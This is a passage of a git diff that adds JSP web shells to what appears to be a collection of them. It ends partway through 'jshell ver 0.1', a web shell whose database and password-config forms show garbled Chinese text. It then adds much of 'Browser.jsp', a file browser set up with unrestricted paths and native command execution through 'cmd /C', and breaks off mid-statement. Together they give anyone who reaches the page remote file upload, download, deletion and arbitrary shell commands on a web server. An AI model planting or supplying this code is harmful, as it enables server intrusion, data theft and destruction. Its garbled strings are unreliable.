     \n"; + + DBRelease(); + } else { + result = "ݿʧ"; + } + } else { + result = "ݿûҵ"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ݿ + + +
    ݿַ
    ݿ˿
    ݿû
    ݿ
    ݿ
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    ϵͳ
    Sessionʱʱ
    ɱ༭ļ + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "ñɹڷأԺ򡭡"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    jshell ver 0.1
    created by `١کI and welcome to ǻ̳
    +<% +//========================================================================================== + } +} +%> + + + \ No newline at end of file diff --git a/jsp/jspbrowser/Browser.jsp b/jsp/jspbrowser/Browser.jsp new file mode 100644 index 0000000..2bac9d1 --- /dev/null +++ b/jsp/jspbrowser/Browser.jsp @@ -0,0 +1,1934 @@ +<%-- + jsp File browser 1.2 + Copyright (C) 2003-2006 Boris von Loesch + This program is free software; you can redistribute it and/or modify it under + the terms of the GNU General Public License as published by the + Free Software Foundation; either version 2 of the License, or (at your option) + any later version. + This program is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + You should have received a copy of the GNU General Public License along with + this program; if not, write to the + Free Software Foundation, Inc., + 59 Temple Place, Suite 330, + Boston, MA 02111-1307 USA + - Description: jsp File browser v1.2 -- This JSP program allows remote web-based + file access and manipulation. You can copy, create, move and delete files. + Text files can be edited and groups of files and folders can be downloaded + as a single zip file that's created on the fly. + - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts +--%> +<%@page import="java.util.*, + java.net.*, + java.text.*, + java.util.zip.*, + java.io.*" +%> +<%! + //FEATURES + private static final boolean NATIVE_COMMANDS = true; + /** + *If true, all operations (besides upload and native commands) + *which change something on the file system are permitted + */ + private static final boolean READ_ONLY = false; + //If true, uploads are allowed even if READ_ONLY = true + private static final boolean ALLOW_UPLOAD = true; + + //Allow browsing and file manipulation only in certain directories + private static final boolean RESTRICT_BROWSING = false; + //If true, the user is allowed to browse only in RESTRICT_PATH, + //if false, the user is allowed to browse all directories besides RESTRICT_PATH + private static final boolean RESTRICT_WHITELIST = false; + //Paths, sperated by semicolon + //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!! + private static final String RESTRICT_PATH = "/etc;/var"; + + //The refresh time in seconds of the upload monitor window + private static final int UPLOAD_MONITOR_REFRESH = 2; + //The number of colums for the edit field + private static final int EDITFIELD_COLS = 85; + //The number of rows for the edit field + private static final int EDITFIELD_ROWS = 30; + //Open a new window to view a file + private static final boolean USE_POPUP = true; + /** + * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be + * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries. + * This can yield to performance issues. Turn it off, if the directory loads to slow. + */ + private static final boolean USE_DIR_PREVIEW = false; + private static final int DIR_PREVIEW_NUMBER = 10; + /** + * The name of an optional CSS Stylesheet file + */ + private static final String CSS_NAME = "Browser.css"; + /** + * The compression level for zip file creation (0-9) + * 0 = No compression + * 1 = Standard compression (Very fast) + * ... + * 9 = Best compression (Very slow) + */ + private static final int COMPRESSION_LEVEL = 1; + /** + * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the + * server runs on a windows platform, to avoid a message box, if you try to access + * an empty removable drive (See KNOWN BUGS in Readme.txt). + */ + private static final String[] FORBIDDEN_DRIVES = {"a:\\"}; + + /** + * Command of the shell interpreter and the parameter to run a programm + */ + private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows + //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix + + /** + * Max time in ms a process is allowed to run, before it will be terminated + */ + private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds + + //Button names + private static final String SAVE_AS_ZIP = "Download selected files as (z)ip"; + private static final String RENAME_FILE = "(R)ename File"; + private static final String DELETE_FILES = "(Del)ete selected files"; + private static final String CREATE_DIR = "Create (D)ir"; + private static final String CREATE_FILE = "(C)reate File"; + private static final String MOVE_FILES = "(M)ove Files"; + private static final String COPY_FILES = "Cop(y) Files"; + private static final String LAUNCH_COMMAND = "(L)aunch external program"; + private static final String UPLOAD_FILES = "Upload"; + + //Normally you should not change anything after this line + //---------------------------------------------------------------------------------- + //Change this to locate the tempfile directory for upload (not longer needed) + private static String tempdir = "."; + private static String VERSION_NR = "1.2"; + private static DateFormat dateFormat = DateFormat.getDateTimeInstance(); + + public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } + } + + public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } + } + + // A Class with methods used to process a ServletInputStream + public class HttpMultiPartParser { + + //private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } + } //End of class HttpMultiPartParser + + /** + * This class is a comparator to sort the filenames and dirs + */ + class FileComp implements Comparator { + + int mode; + int sign; + + FileComp() { + this.mode = 1; + this.sign = 1; + } + + /** + * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type + * The default sorting method is by Name + * Negative mode means descending sort + */ + FileComp(int mode) { + if (mode < 0) { + this.mode = -mode; + sign = -1; + } + else { + this.mode = mode; + this.sign = 1; + } + } + + public int compare(Object o1, Object o2) { + File f1 = (File) o1; + File f2 = (File) o2; + if (f1.isDirectory()) { + if (f2.isDirectory()) { + switch (mode) { + //Filename or Type + case 1: + case 4: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + //Filesize + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + //Date + case 3: + return sign + * (new Long(f1.lastModified()) + .compareTo(new Long(f2.lastModified()))); + default: + return 1; + } + } + else return -1; + } + else if (f2.isDirectory()) return 1; + else { + switch (mode) { + case 1: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + case 3: + return sign + * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()))); + case 4: { // Sort by extension + int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.'); + int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.'); + if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + } + // f1 has no extension + else if (tempIndexf1 == -1) return -sign; + // f2 has no extension + else if (tempIndexf2 == -1) return sign; + // Both have an extension + else { + String tempEndf1 = f1.getAbsolutePath().toUpperCase() + .substring(tempIndexf1); + String tempEndf2 = f2.getAbsolutePath().toUpperCase() + .substring(tempIndexf2); + return sign * tempEndf1.compareTo(tempEndf2); + } + } + default: + return 1; + } + } + } + } + + /** + * Wrapperclass to wrap an OutputStream around a Writer + */ + class Writer2Stream extends OutputStream { + + Writer out; + + Writer2Stream(Writer w) { + super(); + out = w; + } + + public void write(int i) throws IOException { + out.write(i); + } + + public void write(byte[] b) throws IOException { + for (int i = 0; i < b.length; i++) { + int n = b[i]; + //Convert byte to ubyte + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + + public void write(byte[] b, int off, int len) throws IOException { + for (int i = off; i < off + len; i++) { + int n = b[i]; + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + } //End of class Writer2Stream + + static Vector expandFileList(String[] files, boolean inclDirs) { + Vector v = new Vector(); + if (files == null) return v; + for (int i = 0; i < files.length; i++) + v.add(new File(URLDecoder.decode(files[i]))); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.isDirectory()) { + File[] fs = f.listFiles(); + for (int n = 0; n < fs.length; n++) + v.add(fs[n]); + if (!inclDirs) { + v.remove(i); + i--; + } + } + } + return v; + } + + /** + * Method to build an absolute path + * @param dir the root dir + * @param name the name of the new directory + * @return if name is an absolute directory, returns name, else returns dir+name + */ + static String getDir(String dir, String name) { + if (!dir.endsWith(File.separator)) dir = dir + File.separator; + File mv = new File(name); + String new_dir = null; + if (!mv.isAbsolute()) { + new_dir = dir + name; + } + else new_dir = name; + return new_dir; + } + + /** + * This Method converts a byte size in a kbytes or Mbytes size, depending on the size + * @param size The size in bytes + * @return String with size and unit + */ + static String convertFileSize(long size) { + int divisor = 1; + String unit = "bytes"; + if (size >= 1024 * 1024) { + divisor = 1024 * 1024; + unit = "MB"; + } + else if (size >= 1024) { + divisor = 1024; + unit = "KB"; + } + if (divisor == 1) return size / divisor + " " + unit; + String aftercomma = "" + 100 * (size % divisor) / divisor; + if (aftercomma.length() == 1) aftercomma = "0" + aftercomma; + return size / divisor + "." + aftercomma + " " + unit; + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException { + copyStreamsWithoutClose(in, out, buffer); + in.close(); + out.close(); + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer) + throws IOException { + int b; + while ((b = in.read(buffer)) != -1) + out.write(buffer, 0, b); + } + + /** + * Returns the Mime Type of the file, depending on the extension of the filename + */ + static String getMimeType(String fName) { + fName = fName.toLowerCase(); + if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg"; + else if (fName.endsWith(".gif")) return "image/gif"; + else if (fName.endsWith(".pdf")) return "application/pdf"; + else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html"; + else if (fName.endsWith(".avi")) return "video/x-msvideo"; + else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime"; + else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg"; + else if (fName.endsWith(".zip")) return "application/zip"; + else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff"; + else if (fName.endsWith(".rtf")) return "application/rtf"; + else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi"; + else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv") + || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt") + || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel"; + else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword"; + else if (fName.endsWith(".png")) return "image/png"; + else if (fName.endsWith(".xml")) return "text/xml"; + else if (fName.endsWith(".svg")) return "image/svg+xml"; + else if (fName.endsWith(".mp3")) return "audio/mp3"; + else if (fName.endsWith(".ogg")) return "audio/ogg"; + else return "text/plain"; + } + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String conv2Html(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } + + /** + * Starts a native process on the server + * @param command the command to start the process + * @param dir the dir in which the process starts + */ + static String startProcess(String command, String dir) throws IOException { + StringBuffer ret = new StringBuffer(); + String[] comm = new String[3]; + comm[0] = COMMAND_INTERPRETER[0]; + comm[1] = COMMAND_INTERPRETER[1]; + comm[2] = command; + long start = System.currentTimeMillis(); + try { + //Start process + Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir)); + //Get input and error streams + BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); + BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); + boolean end = false; + while (!end) { + int c = 0; + while ((ls_err.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_err.read())); + } + c = 0; + while ((ls_in.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_in.read())); + } + try { + ls_proc.exitValue(); + //if the process has not finished, an exception is thrown + //else + while (ls_err.available() > 0) + ret.append(conv2Html(ls_err.read())); + while (ls_in.available() > 0) + ret.append(conv2Html(ls_in.read())); + end = true; + } + catch (IllegalThreadStateException ex) { + //Process is running + } + //The process is not allowed to run longer than given time. + if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) { + ls_proc.destroy(); + end = true; + ret.append("!!!! Process has timed out, destroyed !!!!!"); + } + try { + Thread.sleep(50); + } + catch (InterruptedException ie) {} + } + } + catch (IOException e) { + ret.append("Error: " + e); + } + return ret.toString(); + } + + /** + * Converts a dir string to a linked dir string + * @param dir the directory string (e.g. /usr/local/httpd) + * @param browserLink web-path to Browser.jsp + */ + static String dir2linkdir(String dir, String browserLink, int sortMode) { + File f = new File(dir); + StringBuffer buf = new StringBuffer(); + while (f.getParentFile() != null) { + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getName()) + File.separator + ""); + } + else buf.insert(0, conv2Html(f.getName()) + File.separator); + f = f.getParentFile(); + } + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + ""); + } + else buf.insert(0, f.getAbsolutePath()); + return buf.toString(); + } + + /** + * Returns true if the given filename tends towards a packed file + */ + static boolean isPacked(String name, boolean gz) { + return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar") + || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase() + .endsWith(".war")); + } + + /** + * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not + */ + static boolean isAllowed(File path, boolean write) throws IOException{ + if (READ_ONLY && write) return false; + if (RESTRICT_BROWSING) { + StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";"); + while (stk.hasMoreTokens()){ + if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken())) + return RESTRICT_WHITELIST; + } + return !RESTRICT_WHITELIST; + } + else return true; + } + + //--------------------------------------------------------------------------------------------------------------- + + %> +<% + //Get the current browsing directory + request.setAttribute("dir", request.getParameter("dir")); + // The browser_name variable is used to keep track of the URI + // of the jsp file itself. It is used in all link-backs. + final String browser_name = request.getRequestURI(); + final String FOL_IMG = ""; + boolean nohtml = false; + boolean dir_view = true; + //Get Javascript + if (request.getParameter("Javascript") != null) { + dir_view = false; + nohtml = true; + //Tell the browser that it should cache the javascript + response.setHeader("Cache-Control", "public"); + Date now = new Date(); + SimpleDateFormat sdf = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss z", Locale.US); + response.setHeader("Expires", sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2))); + response.setHeader("Content-Type", "text/javascript"); + %> + <%// This section contains the Javascript used for interface elements %> + var check = false; + <%// Disables the checkbox feature %> + function dis(){check = true;} + + var DOM = 0, MS = 0, OP = 0, b = 0; + <%// Determine the browser type %> + function CheckBrowser(){ + if (b == 0){ + if (window.opera) OP = 1; + // Moz or Netscape + if(document.getElementById) DOM = 1; + // Micro$oft + if(document.all && !OP) MS = 1; + b = 1; + } + } + <%// Allows the whole row to be selected %> + function selrow (element, i){ + var erst; + CheckBrowser(); + if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild; + else if (DOM==1) erst = element.firstChild.nextSibling.firstChild; + <%// MouseIn %> + if (i==0){ + if (erst.checked == true) element.className='mousechecked'; + else element.className='mousein'; + } + <%// MouseOut %> + else if (i==1){ + if (erst.checked == true) element.className='checked'; + else element.className='mouseout'; + } + <% // MouseClick %> + else if ((i==2)&&(!check)){ + if (erst.checked==true) element.className='mousein'; + else element.className='mousechecked'; + erst.click(); + } + else check=false; + } + <%// Filter files and dirs in FileList%> + function filter (begriff){ + var suche = begriff.value.toLowerCase(); + var table = document.getElementById("filetable"); + var ele; + for (var r = 1; r < table.rows.length; r++){ + ele = table.rows[r].cells[1].innerHTML.replace(/<[^>]+>/g,""); + if (ele.toLowerCase().indexOf(suche)>=0 ) + table.rows[r].style.display = ''; + else table.rows[r].style.display = 'none'; + } + } + <%//(De)select all checkboxes%> + function AllFiles(){ + for(var x=0;x < document.FileList.elements.length;x++){ + var y = document.FileList.elements[x]; + var ytr = y.parentNode.parentNode; + var check = document.FileList.selall.checked; + if(y.name == 'selfile' && ytr.style.display != 'none'){ + if (y.disabled != true){ + y.checked = check; + if (y.checked == true) ytr.className = 'checked'; + else ytr.className = 'mouseout'; + } + } + } + } + + function shortKeyHandler(_event){ + if (!_event) _event = window.event; + if (_event.which) { + keycode = _event.which; + } else if (_event.keyCode) { + keycode = _event.keyCode; + } + var t = document.getElementById("text_Dir"); + //z + if (keycode == 122){ + document.getElementById("but_Zip").click(); + } + //r, F2 + else if (keycode == 113 || keycode == 114){ + var path = prompt("Please enter new filename", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Ren").click(); + } + //c + else if (keycode == 99){ + var path = prompt("Please enter filename", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_NFi").click(); + } + //d + else if (keycode == 100){ + var path = prompt("Please enter directory name", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_NDi").click(); + } + //m + else if (keycode == 109){ + var path = prompt("Please enter move destination", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Mov").click(); + } + //y + else if (keycode == 121){ + var path = prompt("Please enter copy destination", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Cop").click(); + } + //l + else if (keycode == 108){ + document.getElementById("but_Lau").click(); + } + //Del + else if (keycode == 46){ + document.getElementById("but_Del").click(); + } + } + + function popUp(URL){ + fname = document.getElementsByName("myFile")[0].value; + if (fname != "") + window.open(URL+"?first&uplMonitor="+encodeURIComponent(fname),"","width=400,height=150,resizable=yes,depend=yes") + } + + document.onkeypress = shortKeyHandler; +<% } + // View file + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f, false)) { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath()); + } + else if (f.exists() && f.canRead()) { + if (isPacked(f.getName(), false)) { + //If zipFile, do nothing here + } + else{ + String mimeType = getMimeType(f.getName()); + response.setContentType(mimeType); + if (mimeType.equals("text/plain")) response.setHeader( + "Content-Disposition", "inline;filename=\"temp.txt\""); + else response.setHeader("Content-Disposition", "inline;filename=\"" + + f.getName() + "\""); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + // Download selected files as zip file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) { + Vector v = expandFileList(request.getParameterValues("selfile"), false); + //Check if all files in vector are allowed + String notAllowedFile = null; + for (int i = 0;i < v.size(); i++){ + File f = (File) v.get(i); + if (!isAllowed(f, false)){ + notAllowedFile = f.getAbsolutePath(); + break; + } + } + if (notAllowedFile != null){ + request.setAttribute("error", "You are not allowed to access " + notAllowedFile); + } + else if (v.size() == 0) { + request.setAttribute("error", "No files selected"); + } + else { + File dir_file = new File("" + request.getAttribute("dir")); + int dir_l = dir_file.getAbsolutePath().length(); + response.setContentType("application/zip"); + response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\""); + out.clearBuffer(); + ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); + zipout.setComment("Created by jsp File Browser v. " + VERSION_NR); + zipout.setLevel(COMPRESSION_LEVEL); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.canRead()) { + zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1))); + BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[0xffff]; + copyStreamsWithoutClose(fr, zipout, buffer); + /* int b; + while ((b=fr.read())!=-1) zipout.write(b);*/ + fr.close(); + zipout.closeEntry(); + } + } + zipout.finish(); + out.flush(); + nohtml = true; + dir_view = false; + } + } + // Download file + else if (request.getParameter("downfile") != null) { + String filePath = request.getParameter("downfile"); + File f = new File(filePath); + if (!isAllowed(f, false)){ + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile()); + } + else if (f.exists() && f.canRead()) { + response.setContentType("application/octet-stream"); + response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + + "\""); + response.setContentLength((int) f.length()); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + if (nohtml) return; + //else + // If no parameter is submitted, it will take the path from jsp file browser + if (request.getAttribute("dir") == null) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) { + File f = new File(application.getRealPath(request.getRequestURI())).getParentFile(); + //This is a hack needed for tomcat + while (f != null && !f.exists()) + f = f.getParentFile(); + if (f != null) + path = f.getAbsolutePath(); + } + if (path == 